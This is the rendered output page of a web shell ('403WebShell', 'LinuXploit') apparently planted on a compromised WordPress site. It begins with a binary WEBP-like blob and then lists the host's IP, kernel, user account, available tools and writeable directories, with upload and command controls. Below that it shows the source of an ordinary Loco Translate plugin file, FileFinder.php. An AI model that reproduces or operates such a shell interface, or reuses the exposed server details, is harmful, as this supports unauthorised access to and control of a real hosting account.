....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux webm019.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : thillelirn ( 8290)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thillelirn/www/wp-content/plugins/loco-translate/src/fs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/thillelirn/www/wp-content/plugins/loco-translate/src/fs/FileFinder.php
<?php
/**
 * Lazy file iterator. Pulls directory listings when required.
 */
class Loco_fs_FileFinder implements Iterator, Countable, Loco_fs_FileListInterface {

    /**
     * Top-level search directories
     * @var Loco_fs_FileList
     */
    private $roots;

    /**
     * Directories to search, including those descended into
     * @var Loco_fs_FileList|null
     */
    private $subdir;
    
    /**
     * Whether directories all read into memory
     * @var bool
     */
    private $cached = false;

    /**
     * File listing already matched
     * @var Loco_fs_FileList|null
     */
    private $cache;
    
    /**
     * Internal array pointer for whole list of paths
     * @var int
     */
    private $i;
    
    /**
     * Internal pointer for directory being read
     * @var int|null
     */
    private $d;
    
    /**
     * Current directory being read
     * @var resource|null
     */
    private $dir;

    /**
     * Path of current directory being read
     * @var string
     */
    private $cwd;

    /**
     * Whether directories added to search will be recursive by default
     * @var bool
     */
    private $recursive = false;

    /**
     * Whether currently recursing into subdirectories
     * This is switched on and off as each directory is opened
     * @var bool|null
     */
    private $recursing;

    /**
     * Whether to follow symlinks when recursing into subdirectories
     * Root-level symlinks are always resolved when possible
     * @var bool
     */
    private $symlinks = true;

    /**
     * Registry of followed links by their original path
     * @var Loco_fs_FileList
     */
    private $linked;

    /**
     * List of file extensions to filter on and group by
     * @var null|Loco_fs_FileList[]
     */
    private $exts = null;

    /**
     * List of directory names to exclude from recursion
     * @var array
     */
    private $excluded = [];


    /**
     * Create initial list of directories to search
     * @param string $root default root to start
     */
    public function __construct( string $root = '' ){
        $this->roots = new Loco_fs_FileList;
        $this->linked = new Loco_fs_FileList;
        if( $root ){
            $this->addRoot( $root );
        }
    } 


    /**
     * Set recursive state of all defined roots
     */
    public function setRecursive( bool $bool ):self {
        $this->invalidate();
        $this->recursive = $bool;
        /* @var $dir Loco_fs_Directory */
        foreach( $this->roots as $dir ){
            $dir->setRecursive( $bool );
        }
        return $this;
    }


    /**
     * Whether to follow symlinks
     */
    public function followLinks( bool $bool ):self {
        $this->invalidate();
        $this->symlinks = $bool;
        return $this;
    }


    /**
     * Get the original symlink that was followed for a given file
     */
    public function getFollowed( string $path ):?Loco_fs_Link {
        /* @var Loco_fs_Link $link */
        foreach( $this->linked as $link ){
            $file = $link->resolve();
            $orig = $file->getPath();
            // exact match on followed path
            if( $orig === $path ){
                return $link;
            }
            // match further up the directory tree
            if( $file instanceof Loco_fs_Directory ){
                $orig = trailingslashit($orig);
                $snip = strlen($orig);
                if( $orig === substr($path,0,$snip) ){
                    return new Loco_fs_Link( $link->getPath().'/'.substr($path,$snip) );
                }
            }
        }
        return null;
    }


    private function invalidate():void {
        $this->cached = false;
        $this->cache = null;
        $this->subdir = null;
    }
    
    
    /**
     * Get all files found as a list object
     * @return Loco_fs_FileList <int,Loco_fs_File> 
     */    
    public function export():Loco_fs_FileList{
        if( ! $this->cached ){
            $this->rewind();
            while( $this->valid() ){
                $this->next();
            }
        }
        return $this->cache;
    }


    /**
     * @return Loco_fs_FileList[]
     */
    public function exportGroups():array {
        $this->cached || $this->export();
        return $this->exts;
    }


    /**
     * Add a directory root to search.
     */
    public function addRoot( string $root, ?bool $recursive = null ):self {
        $this->invalidate();
        $dir = new Loco_fs_Directory($root);
        $this->roots->add( $dir );
        // new directory inherits current global setting unless set explicitly
        $dir->setRecursive( is_bool($recursive) ? $recursive : $this->recursive );
        return $this;
    }


    /**
     * Get all root directories to be searched
     */
    public function getRootDirectories():Loco_fs_FileList {
        return $this->roots;
    }


    /**
     * Filter results by given file extensions
     */
    public function group( ...$exts ):self {
        return $this->filterExtensions($exts);
    }


    /**
     * Filter results by file extensions given in array
     * @param string[] $exts File extension strings
     */
    public function filterExtensions( array $exts ):self {
        $this->invalidate();
        $this->exts = [];
        foreach( $exts as $ext ){
            $this->exts[ ltrim($ext,'*.') ] = new Loco_fs_FileList;
        }
        return $this;
    }


    /**
     * Add one or more paths to exclude from listing
     */
    public function exclude( ...$paths ):self {
        $this->invalidate();
        foreach( $paths as $path ){
            $file = new Loco_fs_File($path);
            // if path is absolute, add straight onto list
            if( $file->isAbsolute() ){
                $file->normalize();
                $this->excluded[] = $file;
            }
            // else append to all defined roots
            else {
                foreach( $this->roots as $dir ) {
                    $file = new Loco_fs_File( $dir.'/'.$path );
                    $file->normalize();
                    $this->excluded[] = $file;
                }
            }
        }
        return $this;
    }


    /**
     * Export excluded paths as file objects
     * @return Loco_fs_File[]
     */
    public function getExcluded():array {
        return $this->excluded;
    }

    
    /**
     * @param Loco_fs_Directory $dir
     * @return void
     */    
    private function open( Loco_fs_Directory $dir ){
        $path = $dir->getPath();
        $recursive = $dir->isRecursive();
        if( is_link($path) ){
            $link = new Loco_fs_Link($path);
            if( $link->isDirectory() ){
                $path = $link->resolve()->getPath();
                $this->linked->add($link);
            }
        }
        $this->cwd = $path;
        $this->recursing = $recursive;
        $this->dir = opendir($path);
    }


    /**
     * @return void
     */
    private function close(){
        closedir( $this->dir );
        $this->dir = null;
        $this->recursing = null;
    }


    /**
     * Test if given path is matched by one of our exclude rules
     */
    public function isExcluded( string $path ):bool {
        /* @var Loco_fs_File $excl */
        foreach( $this->excluded as $excl ){
            if( $excl->equal($path) ){
                return true;
            }
        }
        return false;
    }


    /**
     * Read next valid file path from root directories
     */
    private function read():?Loco_fs_File {
        while( is_resource($this->dir) ){
            while( $f = readdir($this->dir) ){
                // dot-files always excluded
                if( '.' === substr($f,0,1) ){
                    continue;
                }
                $path = $this->cwd.'/'.$f;
                // early path exclusion check
                if( $this->isExcluded($path) ){
                    continue;
                }
                // early filter on file extension when grouping
                if( is_array($this->exts) ){
                    $ext = pathinfo($f,PATHINFO_EXTENSION);
                    // missing file extension only relevant for directories
                    if( '' === $ext ){
                        if( ! $this->recursing || ! is_dir($path) ){
                            continue;
                        }
                    }
                    // any other extension can be skipped
                    else if( ! array_key_exists($ext,$this->exts) ){
                        continue;
                    }
                }
                // follow symlinks (subdir hash ensures against loops)
                if( is_link($path) ){
                    if( ! $this->symlinks ){
                        continue;
                    }
                    $link = new Loco_fs_Link($path);
                    if( $file = $link->resolve() ){
                        $path = $file->getPath();
                        if( $this->isExcluded($path) ){
                            continue;
                        }
                        $this->linked->add($link);
                    }
                    else {
                        continue;
                    }
                }
                // add subdirectory to recursion list, or skip
                if( is_dir($path) ){
                    if( $this->recursing ){
                        $subdir = new Loco_fs_Directory($path);
                        $subdir->setRecursive(true);
                        $this->subdir->add( $subdir );
                    }
                    continue;
                }
                // file represented as object containing original path
                $file = new Loco_fs_File($path);
                $this->add($file);
                return $file;
            }
            $this->close();
            // Advance directory and continue outer loop
            $d = $this->d + 1;
            if( $this->subdir->offsetExists($d) ){
                $this->d = $d;
                $this->open( $this->subdir->offsetGet($d) );
            }
            // else no directories left to search
            else {
                break;
            }
        }
        // at end of all available files
        $this->cached = true;
        return null;
    }


    /**
     * {@inheritDoc}
     */
    public function add( Loco_fs_File $file ):bool {
        if( is_array($this->exts) ){
            $ext = $file->extension();
            if( array_key_exists($ext,$this->exts) ){
                $this->exts[$ext]->add($file);
            }
            // edge case where symlink has correct extension, but resolved path does not.
            else if( $this->symlinks && $this->linked->has($file) ){
                Loco_error_Debug::trace('Symbolic link resolves to a file excluded by filter (%s)',$file->basename());
            }
            else {
                $glob = implode(',',array_keys($this->exts));
                Loco_error_Debug::trace('Should have filtered out %s when grouping by *.{%s}', $file->basename(), $glob );
            }
        }
        if( $this->cache->add($file) ){
            $this->i++;
            return true;
        }
        return false;
    }


    /**
     * @return int
     */
    #[ReturnTypeWillChange]
    public function count():int {
        return count( $this->export() );
    }


    /**
     * @return Loco_fs_File|null
     */
    #[ReturnTypeWillChange]
    public function current(){
        $i = $this->i;
        if( is_int($i) && isset($this->cache[$i]) ){
            return $this->cache[$i];
        }
        return null;
    }


    /**
     * @return Loco_fs_File|null
     */
    #[ReturnTypeWillChange]
    public function next(){
        if( $this->cached ){
            $i = $this->i + 1;
            if( isset($this->cache[$i]) ){
                $this->i = $i;
                return $this->cache[$i];
            }
        }
        else {
            $file = $this->read();
            if( $file instanceof Loco_fs_File ) {
                return $file;
            }
        }
        // else at end of all directory listings
        $this->i = null;
        return null;
    }


    /**
     * @return int
     */
    #[ReturnTypeWillChange]
    public function key(){
        return $this->i;
    }


    /**
     * @return bool
     */
    #[ReturnTypeWillChange]
    public function valid(){
        // may be in lazy state after rewind
        // must do initial read now in case list is empty
        return is_int($this->i);
    }


    /**
     * @return void
     */
    #[ReturnTypeWillChange]
    public function rewind(){
        if( $this->cached ){
            $this->cache->rewind();
            $this->i = $this->cache->key();
        }
        else {
            $this->d = 0;
            $this->dir = null;
            $this->cache = new Loco_fs_FileList;
            // add only root directories that exist
            $this->subdir = new Loco_fs_FileList;
            /* @var Loco_fs_Directory $root */
            foreach( $this->roots as $root ){
                if( $root instanceof Loco_fs_Directory && $root->readable() && ! $this->isExcluded( $root->getPath() ) ){
                    $this->subdir->add($root);
                }
            }
            if( $this->subdir->offsetExists(0) ){
                $this->i = -1;
                $this->open( $this->subdir->offsetGet(0) );
                $this->next();
            }
            else {
                $this->i = null;
                $this->subdir = null;
                $this->cached = true;
            }
        }
    }


    /**
     * Test whether internal list has been fully cached in memory
     */
    public function isCached():bool {
        return $this->cached;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit